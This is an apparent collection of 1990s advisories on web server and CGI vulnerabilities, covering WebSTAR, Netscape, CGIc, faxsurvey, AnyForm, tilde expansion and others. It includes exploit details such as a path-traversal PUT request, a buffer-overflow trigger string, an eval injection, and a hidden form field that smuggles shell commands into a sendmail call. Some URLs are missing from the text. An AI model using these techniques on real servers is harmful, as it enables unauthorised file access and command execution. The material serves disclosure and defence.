Try adding /M_A_C_H_T_T_P_V_E_R_S_I_O_N to any URL on a WebSTAR server and it will give you info like this: WebSTAR, Copyright =A91995 Chuck Shotton, Portions =A91995 StarNine Technologies, Inc. and its Licensors. All rights reserved. PowerPC (CW) version totalCon 343, maxCon 30, listening 29, current 1, high 8, busy 0, denied 0, timeout 0, maxMem 1140640, currMem 1117024, minMem 1090208, bytesSent 1218888, port 80, maxTimeout 300, verboseMessages false, disableLogging false, hideWindow false, refuseConnections false, upSince 07/11/96:10:48, version 1.2.5(PowerPC (CW)) The latest version should have this fixed. While it doesn't seem very interesting, the connection to get this is not logged, which allows psychotics to use it as a denial-of-service attack. There is a gaping hole in WebSTAR's handling of log files. If you install WebSTAR using the default configuration, the server's log file will be located within the document tree. Anyone on the Internet can download the entire server log and review all remote accesses to the server simply by requesting the URL As far as the security of the WebSTAR server itself goes, there is reason to think that WebSTAR is more secure than its Unix and Windows counterparts. Because the Macintosh does not have a command shell, and because it does not allow remote logins, it is reasonable to expect that the Mac is inherently more secure than the other platforms. Although one cannot easily "break in" to a Macintosh host in the conventional way, potential security holes do exist: 1.Exploiting holes in the server to read files outside the official document tree. 2.Finding a way to crash the server. 3.Exploiting holes in CGI scripts to execute AppleScript commands. Details on the successful break-in, along with links to patched server extensions, can be found at

Name: Lasso CGI Versions: Lasso CGI on Mac OS Distro: Risk: possible for any file on any Macintosh web server supporting CGIs to be accessed regardless of security restrictions
It should be noted that this problem with Lasso will affect any web server application that has the capability of running this specific CGI, regardless of server vendor.

Name: Quid Pro Quo Versions: Quid Pro Quo on Mac OS Risk: possible for any file on any Macintosh web server supporting CGIs to be accessed regardless of security restrictions
The Quid Pro Quo server saves its default log file inside the document root, at URL A knowledgeable remote user can find out every access that anyone's made to your server!

Name: /cgi-bin/nph-publish Versions: nph-publish versions 1.0-1.1 Risk: Under certain circumstances, remote users can clobber world-writable files on the server. Distro:
To my eternal chagrin, one of the buggy CGI script to be discovered is in nph-publish, a script that I wrote myself to allow HTML documents to be "published" to the Apache web server from a publish-savvy editor such as Netscape Navigator Gold. I didn't check user-provided pathnames correctly, potentially allowing the script to write files into places where they aren't allowed If the server is run with too many privileges, this can cause big problems. HTTP/1.0 400 Request method must be PUT to call this script! PUT /../index.html HTTP/1.0 Connection: Keep-Alive User-Agent: Mozilla/3.01Gold (Win95; I) Host: Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Content-Length: 666 ... here is index.html goes

Name: Netscape Communications Server for NT Date: January 8, 1998 Versions: Netscape Enterprise Server 3.0 and FastTrack 3.01 Risk: Back Door Access to Protected Files
contain a bug that allows unauthorized remote users to fetch documents that are protected by IP address and password. This bug affects any file that does not use the standard DOS 8.3 naming convention. For example, if the document is named somelongfile.htm, then the unscrupulous user can ask for the file SOMEF~1.HTM, which is the mangled DOS equivalent of the file name. Even though the document may be password protected, this fetch will succeed. The same bug is present in the Microsoft IIS server. Recent versions of WebSite Professional are reportedly free of the problem

Name: CGIc Library Version: Thomas Boutell's CGIc library (version 1.05) Distro: Risk: vulnerable to a buffer overflow attack
can be attacked using a buffer overflow in the cgiFormEntryString() function. The fault is due to the function cgiFormEntryString() checking whether 'len = avail' before examining each input character, but not when the character is different than CR or LF. In this case 'len'is not checked after outputting the LFs but before outputting the character. (i.e. It checks that there is 1 byte free in the buffer, but then it can place 2 bytes in the buffer before checking again.) As an example, the cgictest program can be caused to segmentation fault by using the following request as its parameters: $ REQUEST_METHOD=GET QUERY_STRING='address=<240 x letter 'A'>%0A<1000 x letter 'A'>' ./cgictest The result would be: Content-type: text/html <HTML><HEAD> <TITLE>cgic test</TITLE></HEAD> <BODY><H1>cgic test</H1> Name: <BR> Address: <RE> <lots of letter A's> Segmentation fault (core dumped)

Name: faxsurvey cgi-script Date: 4 Aug 1998 Versions: All S.u.S.E. 5.1 and 5.2 Linux Dist (also older ones) with the HylaFAX package installed. Risk: execute remote commands under httpd id
All the attacker has to do is type in his favorite Web-Browser to get a copy of your Password-File. The problem is the quotation marks for the 'eval' command. Will they ever learn? -eval `$ECHO "$QUERY_STRING" | $UNQUOTE -qn | $SED 's/PATH=[^;]*;//g'` Patch: +eval "ECHO "$QUERY_STRING" | $UNQUOTE -qn | $SED 's/PATH=[^;]*;//g'"

Name: ~ character Versions: Apache and other httpd Risk: read files out of htdocs dir.
The ~ is used during a "resolve" of a URL by the server as a shorthand for getting directly to user files. During server setup an admin can define a UserDir to something like /public_html/ so that ~ replaces /public_html/ when getting to a user's directory Some Unix servers that do not have a /public_html/ will attempt to resolve to the home directory listed in /etc/passwd. I have confirmed this on BSD with Apache web software, but I am pretty sure other platforms may be affected. For example, this URL might return some interesting info If the server wasn't locked down good enough, bingo! Root directory of the server, and you can get to every public readable file - Some admins patch things with a symbolic link on the root of the file system to the top of the tree, but this still doesn't fix the second entry above. Only careful checking of the configuration of your specific web server as an admin will make sure you are okay. And not just ~root, but every user on the system, including putting a ~ in from of bin, daemon, uucp, etc. could compromise a system. The account does not have to have a valid shell or password, just a home directory of / will usually do quite nicely.

Name: thttpd vulnerability Distro: Risk: any client can read files on HDD
Marc Slemko discovered a fairly serious security problem in thttpd. If you're not running chrooted, an attacker can use this bug to read files outside of your document tree, for instance /etc/passwd. The exploit is obvious from the fix.

Name: "AnyForm" CGI Date: 1 Aug 1995 Versions: all versions ( v1.0) Distro: Risk: any client can run arbitrary commands under the server UID.
"AnyForm" passes form data to a system call without performing sanity checks. To exploit, create a form with a hidden field something like this: <input type="hidden" name="AnyFormTo" value=";cmd-to execute with whatever arguments;/usr/lib/sendmail -t"> Then submit the form to the "AnyForm" CGI on the server to be attacked. The value of this parameter is passed to this code: SystemCommand="/usr/lib/sendmail -t " + AnyForm + " <" + FileName; system(SystemCommand); Since system invokes a shell,the semicolons are treated as command delimeters and anything can be inserted.

Name: Unix cgi-bin read supported Risk: read cgi-bin sources Versions: if admin uses joe/vi/emacs to edit cgi-bin programs Date: 1998 Author: Simple Nomad The Unofficial WWW Hack FAQ
look for files in /cgi-bin/ with a ~ on the end. If the administrator was editing with a package like emacs in the /cgi-bin/, there might be a backup file that the editor has created. You may be able to find holes in this code if you can read it, instead of simply guessing. also sometimes you can gain .htaccess source via